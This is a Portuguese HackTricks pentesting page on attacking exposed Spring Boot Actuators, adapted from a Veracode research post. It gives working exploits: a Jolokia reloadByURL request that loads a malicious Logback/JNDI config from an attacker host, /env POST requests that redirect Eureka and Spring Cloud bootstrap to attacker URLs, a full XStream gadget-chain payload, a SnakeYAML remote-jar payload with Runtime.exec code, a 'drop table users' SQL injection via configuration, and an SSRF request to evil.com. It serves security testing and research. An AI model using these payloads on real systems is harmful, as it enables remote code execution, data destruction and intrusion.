hacktricks/network-services-pentesting/pentesting-web/spring-actuators.md

20 KiB

Spring Actuators

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Bypass de Autenticação do Spring

De https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****

Explorando o Spring Boot Actuators

copiado de https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

O Framework Spring Boot inclui uma série de recursos chamados de actuators para ajudar a monitorar e gerenciar sua aplicação web quando você a coloca em produção. Destinados a serem usados para auditoria, saúde e coleta de métricas, eles também podem abrir uma porta oculta para o seu servidor quando mal configurados.

Quando uma aplicação Spring Boot está em execução, ela registra automaticamente vários endpoints (como '/health', '/trace', '/beans', '/env' etc) no processo de roteamento. Para o Spring Boot 1 - 1.4, eles são acessíveis sem autenticação, causando problemas significativos de segurança. A partir da versão Spring 1.5, todos os endpoints, exceto '/health' e '/info', são considerados sensíveis e protegidos por padrão, mas essa segurança muitas vezes é desativada pelos desenvolvedores da aplicação.

Os seguintes endpoints do Actuator podem ter potenciais implicações de segurança que levam a possíveis vulnerabilidades:

  • /dump - exibe um dump de threads (incluindo um stack trace)
  • /trace - exibe as últimas mensagens HTTP (que podem incluir identificadores de sessão)
  • /logfile - exibe o conteúdo do arquivo de log
  • /shutdown - desliga a aplicação
  • /mappings - mostra todos os mapeamentos do controlador MVC
  • /env - fornece acesso ao ambiente de configuração
  • /actuator/env
  • /restart - reinicia a aplicação
  • /heapdump - Constrói e retorna um heap dump do JVM usado pela nossa aplicação

Para o Spring 1x, eles são registrados sob a URL raiz, e no 2x eles foram movidos para o caminho base "/actuator/".

Exploração:

A maioria dos actuators suporta apenas solicitações GET e simplesmente revela dados de configuração sensíveis, mas alguns deles são particularmente interessantes para caçadores de shell:

1. Execução Remota de Código via '/jolokia'

Se a Biblioteca Jolokia estiver no classpath da aplicação alvo, ela será automaticamente exposta pelo Spring Boot sob o endpoint '/jolokia' do actuator. O Jolokia permite acesso HTTP a todos os MBeans registrados e é projetado para executar as mesmas operações que você pode executar com JMX. É possível listar todas as ações de MBeans disponíveis usando a URL:

http://127.0.0.1:8090/jolokia/list

Novamente, a maioria das ações de MBeans apenas revela alguns dados do sistema, mas uma é particularmente interessante:

reloadByURL

A ação 'reloadByURL', fornecida pela biblioteca Logback, nos permite recarregar a configuração de log de uma URL externa. Isso pode ser acionado apenas navegando para: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

Então, por que devemos nos preocupar com a configuração de log? Principalmente por duas coisas:

  1. A configuração tem um formato XML e, é claro, o Logback o analisa com Entidades Externas habilitadas, portanto, é vulnerável a XXE cego.
  2. A configuração do Logback possui o recurso 'Obtendo variáveis do JNDI'. No arquivo XML, podemos incluir uma tag como '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' e o atributo name será passado para o método DirContext.lookup(). Se pudermos fornecer um nome arbitrário para a função .lookup(), nem precisamos de XXE ou HeapDump, pois isso nos dá uma Execução Remota de Código completa.

Como funciona:

1. Um atacante solicita a URL mencionada anteriormente para executar a função 'reloadByURL', fornecida pela classe 'qos.logback.classic.jmx.JMXConfigurator'.

2. A função 'reloadByURL' faz o download de uma nova configuração de http://artsploit.com/logback.xml e a analisa como uma configuração do Logback. Essa configuração maliciosa deve ter o seguinte conteúdo:

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. Quando este arquivo é analisado no servidor vulnerável, ele cria uma conexão com o servidor LDAP controlado pelo atacante especificado no valor do parâmetro "env-entry-name", o que leva à resolução do JNDI. O servidor LDAP malicioso pode retornar um objeto do tipo 'Referência' para desencadear uma execução do bytecode fornecido na aplicação alvo. Os ataques JNDI são bem explicados neste artigo de pesquisa da MicroFocus. A nova técnica de exploração JNDI (descrita anteriormente em nosso blog) também funciona aqui, já que o Tomcat é o servidor de aplicação padrão no Spring Boot Framework.

2. Modificação de configuração via '/env'

Se as Bibliotecas do Spring Cloud estiverem no classpath, o endpoint '/env' permite modificar as propriedades ambientais do Spring. Todos os beans anotados como '@ConfigurationProperties' podem ser modificados e reatribuídos. Muitas, mas nem todas, as propriedades que podemos controlar estão listadas no endpoint '/configprops' do atuador. Na verdade, existem muitas delas, mas não está claro o que precisamos modificar para alcançar algo. Depois de passar alguns dias brincando com elas, encontramos isso:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

Esta propriedade modifica a serviceURL do Eureka para um valor arbitrário. O Eureka Server é normalmente usado como um servidor de descoberta, e quase todas as aplicações Spring Cloud se registram nele e enviam atualizações de status para ele. Se você tiver a sorte de ter o Eureka-Client <1.8.7 no classpath de destino (normalmente incluído no Spring Cloud Netflix), você pode explorar a vulnerabilidade de deserialização do XStream nele. Tudo que você precisa fazer é definir a propriedade 'eureka.client.serviceUrl.defaultZone' para a URL do seu servidor ( http://artsploit.com/n/xstream) via '/env' e depois chamar o endpoint '/refresh'. Depois disso, seu servidor deve servir a carga útil do XStream com o seguinte conteúdo:

<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

Este payload XStream é uma versão ligeiramente modificada da cadeia de gadgets ImageIO apenas para JDK da pesquisa Marshalsec. A única diferença aqui é o uso de LinkedHashSet para acionar o método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. O payload original utiliza java.lang.Map para obter o mesmo comportamento, mas a configuração do XStream do Eureka possui um conversor personalizado para mapas que o torna inutilizável. O payload acima não utiliza mapas e pode ser usado para obter Execução Remota de Código sem restrições adicionais.

Usando os Spring Actuators, você pode explorar essa vulnerabilidade mesmo sem ter acesso a um servidor Eureka interno; você só precisa de um endpoint "/env" disponível.

Outras configurações úteis:

spring.datasource.tomcat.validationQuery=drop+table+users - permite especificar qualquer consulta SQL, que será executada automaticamente no banco de dados atual. Pode ser qualquer instrução, incluindo inserção, atualização ou exclusão.

Explorando o Drop Table dos Spring Boot Actuators

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - permite modificar a string de conexão JDBC atual.

A última configuração parece ótima, mas o problema é quando a aplicação que executa a conexão com o banco de dados já está estabelecida, apenas atualizar a string JDBC não tem nenhum efeito. Felizmente, há outra propriedade que pode nos ajudar nesse caso:

spring.datasource.tomcat.max-active=777

O truque que podemos usar aqui é aumentar o número de conexões simultâneas com o banco de dados. Assim, podemos alterar a string de conexão JDBC, aumentar o número de conexões e, em seguida, enviar muitas solicitações para a aplicação para simular uma carga pesada. Sob carga, a aplicação criará uma nova conexão com o banco de dados com a string JDBC maliciosa atualizada. Testei essa técnica localmente com o Mysql e funciona perfeitamente.

Explorando o Max Active dos Spring Boot Actuators

Além disso, existem outras propriedades que parecem interessantes, mas na prática não são realmente úteis:

spring.datasource.url - string de conexão do banco de dados (usada apenas para a primeira conexão)

spring.datasource.jndiName - string JNDI do banco de dados (usada apenas para a primeira conexão)

spring.datasource.tomcat.dataSourceJNDI - string JNDI do banco de dados (não utilizada)

spring.cloud.config.uri=http://artsploit.com/ - URL de configuração do Spring Cloud (não tem efeito após o início do aplicativo, apenas os valores iniciais são usados)

Essas propriedades não têm efeito a menos que o endpoint '/restart' seja chamado. Esse endpoint reinicia todo o ApplicationContext, mas está desativado por padrão.

Existem muitas outras propriedades interessantes, mas a maioria delas não tem efeito imediato após a alteração.

N.B. No Spring Boot 2x, o formato da solicitação para modificar propriedades via o endpoint '/env' é ligeiramente diferente (usa formato json), mas a ideia é a mesma.

Um exemplo de aplicativo vulnerável:

Se você quiser testar essa vulnerabilidade localmente, criei um aplicativo Spring Boot simples na minha página do Github. Todos os payloads devem funcionar lá, exceto as configurações do banco de dados (a menos que você as configure).

Descoberta de caixa preta:

Uma lista completa dos actuators padrão pode ser encontrada aqui: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Tenha em mente que os desenvolvedores de aplicativos podem criar seus próprios endpoints usando a anotação @Endpoint.

Atualização de maio de 2019:

Existe uma maneira mais confiável de obter RCE por meio da modificação das propriedades ambientais do Spring.

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

Esta solicitação modifica a propriedade 'spring.cloud.bootstrap.location', que é usada para carregar configurações externas e analisá-las no formato YAML. Para que isso aconteça, também precisamos chamar o endpoint '/refresh'.

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Quando a configuração YAML é obtida do servidor remoto, ela é analisada com a biblioteca SnakeYAML, que também é suscetível a ataques de desserialização. A carga útil (yaml-payload.yml) pode ser gerada usando a pesquisa Marshalsec mencionada anteriormente:

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]

A desserialização deste arquivo aciona a execução do construtor do ScriptEngineManager com o URLClassLoader fornecido. Em resumo, isso leva ao método 'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)', que tenta encontrar todas as implementações da interface 'ScriptEngineFactory' em todas as bibliotecas no classpath. Como podemos adicionar uma nova biblioteca via URLClassLoader, podemos fornecer uma nova 'ScriptEngineFactory' com o bytecode malicioso interno. Para fazer isso, precisamos criar um arquivo jar com os seguintes arquivos obrigatórios: yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class deve conter o bytecode real, com a carga maliciosa no construtor.

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}

yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory deve ser apenas um arquivo de texto contendo uma referência completa para 'artsploit.AwesomeScriptEngineFactory', para que o ServiceLoader saiba onde encontrar a classe: artsploit.AwesomeScriptEngineFactory. Novamente, essa técnica de exploração requer que o spring cloud esteja no classpath, mas, em comparação com o payload do XStream do Eureka, ela funciona mesmo na versão mais recente. Você pode encontrar o payload completo no meu projeto do github: yaml-payload.

Env + H2 RCE

Consulte esta página para saber como explorar a combinação /env + H2: https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

SSRF no Spring Boot através da interpretação incorreta do nome do caminho

A partir desta pesquisa: O framework Spring aceita o caractere separador de parâmetro de matriz ; antes da primeira barra do nome do caminho HTTP:

GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close

Em um cenário como o seguinte:

Considerando que o Spring permite qualquer caractere após o separador de parâmetros da matriz, torna-se possível usar o caractere @ para buscar um endpoint arbitrário também.

Abaixo está um exemplo da solicitação de exploração:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Mais Informações

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥